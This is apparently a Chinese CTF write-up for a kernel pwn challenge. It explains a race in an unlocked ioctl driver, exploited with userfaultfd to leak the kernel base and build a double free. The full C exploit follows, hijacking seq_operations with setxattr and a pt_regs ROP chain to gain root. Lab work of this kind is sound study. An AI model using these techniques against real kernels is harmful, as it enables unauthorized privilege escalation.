这个题主要还是练习 userfaultfd 的利用。说实话,userfaultfd 的利用还是挺多的,虽然在新的内核版本已经做了相关保护。
老规矩,看下启动脚本
bash
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-no-reboot \
-s \
-monitor /dev/null \
-nographic
开启了 smep、kaslr 和 kpti(kvm64默认自动开启 kpti) 保护
程序分析
驱动程序就实现了一个 proc_ioctl 函数,其实有两个功能
插入堆块
cmd = 0x57ac0001 时,会创建一个大小为 32 的 object,并先将其插入到 head 链表中,然后在利用 copy_from_user 写入 8 字节数据
主要就是维护以下链表:这里的 check_flag 不用关,对做题没有影响
删除堆块
可以看到该功能的逻辑是:先利用 copy_to_user 复制数据,然后在将堆块从链表中摘除并释放。但是这里还需要注意的是他这里最后释放的是 v6,而 v6 来自于上面的 v5
漏洞利用
对于插入堆块其逻辑为:后面称作 add
1、创建一个 0x20 的堆块
2、将堆块插入链表
3、利用 copy_from_user 写数据
对于删除堆块其逻辑为:后面称作 dele
1、从链表中取出堆块
2、利用 copy_to_user 读数据
3、将堆块脱链并释放
而在 ioctl 中所有的操作都没有上锁,所以这里给了我们条件竞争的机会。
leak kernel_offset/base
我们可以在 add 时,利用 userfaultfd 将其卡在第 3 步,这时堆块已经被挂进链表了,但是还没有写入数据,这里我们在利用 dele 去删除该堆块,则可以读出 8 字节的数据。
这里我选择利用 seq_operations 去泄漏内核基地址,官方wp用的 shm_file_data 结构体去泄漏。
主要的泄漏逻辑如下:
1、先打开 /proc/self/stat 文件,这里会创建一个 seq_operations 结构体,而这个结构体大小刚好为 0x20
2、关闭 /proc/self/stat 文件,此时 seq_operations 结构体会被释放,但其第二个字段的数据并没有被清除
3、add 一个堆块,此时会拿到释放的 seq_operations 对象,注意 add 是先挂进链表,再写入数据,所以此时用 userfaultfd 将其卡住,然后再在 userfaultfd 的处理线程中利用 dele 将该堆块释放掉,这样就可以读取到 single_stop 的值了,从而泄漏内核地址
construct double free
构造 double free 比较简单,因为在 dele 一个堆块时,是先读取数据,然后再将堆块从链表中摘除并释放。所以我们可以在读取数据的时候用 userfaultfd 将其卡住,然后在 userfaultfd 的处理线程中再将其释放一次就 ok 了。
setxattr+userfaultfd 劫持 seq_operations 进行提权
有了 double_free,最后考虑直接劫持 seq_operations,然后配合 pt_regs 直接提权。当然这里可以直接去修改 freelist 指针,然后直接分配到 modprobe_path 的位置从而去修改 flag 的权限直接拿 flag。
最终exp如下:
需要注意的是我们的准备代码应该放在最开始,防止对后面堆布局产生影响。这里我就踩了一个大坑,我最开始是把 mmap 放在每个利用的开始的,结果调试发现 setxattr 无法拿到 double free 的堆块,但是 seq_operations 是可以直接拿到该堆块的。然后继续调试发现,我是成功 double free 了的。最后搞了好久,才发现是 mmap 产生了噪声,将 double free 的第一个堆块给拿走了,最后我把 mmap 放在了最前面,就没有问题了
还有就是最开始我们打开了很多的 /proc/self/stat,最后在提权前又将其释放了。这里主要是为了修复 kmalloc-32 的 freelist,因为在 double free 后,其 freelist 已经被我们破坏了。而在后面我们执行 read 、system 等操作时,可能需要分配 0x20 大小的 object,如果我们不对其进行修复,则会导致 panic
cpp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <sys/shm.h>
#include <poll.h>
#define SINGLE_STOP 0xffffffff8113be80
#define INIT_IPC_NS 0xffffffff81c37bc0
size_t pop_rdi = 0xffffffff81034505; // pop rdi ; ret
size_t xchg_rdi_rax = 0xffffffff81d8df6d; // xchg rdi, rax ; ret
size_t commit_creds = 0xffffffff81069c10;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t add_rsp_xx = 0xFFFFFFFF814D51C0;
size_t mov_rdi_rax_pop = 0xffffffff8121f89a; // mov rdi, rax ; cmp rcx, rsi ; ja 0xffffffff8121f88d ; pop rbp ; ret
size_t swapgs_kpti = 0xFFFFFFFF81600A44;
int fd;
int seq_fd;
int tmp_seq_fd[101];
size_t kernel_offset;
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
void add(char* buf)
{
if (ioctl(fd, 0x57AC0001, buf) < 0) err_exit("add");
}
void dele(char* buf)
{
if (ioctl(fd, 0x57AC0002, buf) < 0) err_exit("dele");
}
void register_userfaultfd(void* moniter_addr, pthread_t* moniter, void* handler)
{
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("Failed to exec the syscall for __NR_userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("Failed to exec ioctl for UFFDIO_API");
uffdio_register.range.start = (unsigned long long)moniter_addr;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("Failed to exec ioctl for UFDDIO_REGISTER");
if (pthread_create(moniter, NULL, handler, (void*)uffd)) err_exit("Failed to exec pthread_create for userfaultfd");
}
pthread_t leak, dfree, pwn;
char* uffd_copy_src = NULL;
void leak_handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for leak_handler");
int res = read(uffd, &msg, sizeof(msg));
if (res == 0) err_exit("EOF on userfaultfd for leak_handler");
if (res == -1) err_exit("ERROR on userfaultfd for leak_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in leak_handler");
info("Leak the kernel base in userfaultfd -- leak_handler");
dele(&kernel_offset);
hexx("single_stop", kernel_offset);
kernel_offset -= SINGLE_STOP;
hexx("kernel_offset", kernel_offset);
uffdio_copy.src = uffd_copy_src;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
}
}
void dfree_handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for dfree_handler");
int res = read(uffd, &msg, sizeof(msg));
if (res == 0) err_exit("EOF on userfaultfd for dfree_handler");
if (res == -1) err_exit("ERROR on userfaultfd for dfree_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in dfree_handler");
info("Construct double free in userfaultfd -- dfree_handler");
puts("double free for second free");
dele(uffd_copy_src);
uffdio_copy.src = uffd_copy_src;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in dfree_handler");
}
}
void pwn_handler(void* args)
{
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
for (;;)
{
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1) err_exit("Failed to exec poll for pwn_handler");
int res = read(uffd, &msg, sizeof(msg));
if (res == 0) err_exit("EOF on userfaultfd for pwn_handler");
if (res == -1) err_exit("ERROR on userfaultfd for pwn_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("INCORRET EVENT in pwn_handler");
info("PWN PWN -- pwn_handler");
for (int i = 1; i < 101; i++) close(tmp_seq_fd[i]);
add(uffd_copy_src);
asm volatile(
"mov r13, pop_rdi;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop;"
"mov r10, commit_creds;"
"mov r9, swapgs_kpti;"
"mov rcx, 0xbbbbbbbb;"
);
read(seq_fd, uffd_copy_src, 8);
hexx("UID", getuid());
system("/bin/sh");
uffdio_copy.src = uffd_copy_src;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("Failed to exec ioctl for UFFDIO_COPY in pwn_handler");
}
}
int main(int argc, char** argv, char** env)
{
bind_core(0);
char* uffd_buf_leak;
char* uffd_buf_dfree;
char* uffd_buf_pwn;
hexx("page_size", sysconf(_SC_PAGE_SIZE));
fd = open("/proc/stack", O_RDWR);
if (fd < 0) err_exit("Failed to open dev file -- /proc/stack");
uffd_copy_src = malloc(0x1000);
for (int i = 1; i < 101; i++)
if ((tmp_seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0) err_exit("Failed to open /proc/self/stat");
uffd_buf_leak = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_leak, &leak, leak_handler);
uffd_buf_dfree = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_dfree, &dfree, dfree_handler);
uffd_buf_pwn = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_pwn+0x1000, &pwn, pwn_handler);
// leak kernel base or kernle offset
tmp_seq_fd[0] = open("/proc/self/stat", O_RDONLY);
close(tmp_seq_fd[0]);
add(uffd_buf_leak);
pop_rdi += kernel_offset;
xchg_rdi_rax += kernel_offset;
commit_creds += kernel_offset;
prepare_kernel_cred += kernel_offset;
mov_rdi_rax_pop += kernel_offset;
swapgs_kpti += kernel_offset;
add_rsp_xx += kernel_offset;
hexx("add_rsp_xx", add_rsp_xx);
// construct double free
add("XiaozaYa");
puts("double free for first free");
dele(uffd_buf_dfree);
// pwn by hijacking the seq_operations->start
// just test double free
// puts("Test double free fetch");
// info("Frist fetch object");
// add(uffd_copy_src);
// info("Second fetch object");
// add(uffd_copy_src);
*(size_t*)(uffd_buf_pwn+0x1000-8) = add_rsp_xx;
seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) err_exit("Failed to open /proc/self/stat to hijack seq_operations->start");
setxattr("/exp", "hacker", uffd_buf_pwn+0x1000-8, 32, 0);
return 0;
}
最后可成功提权: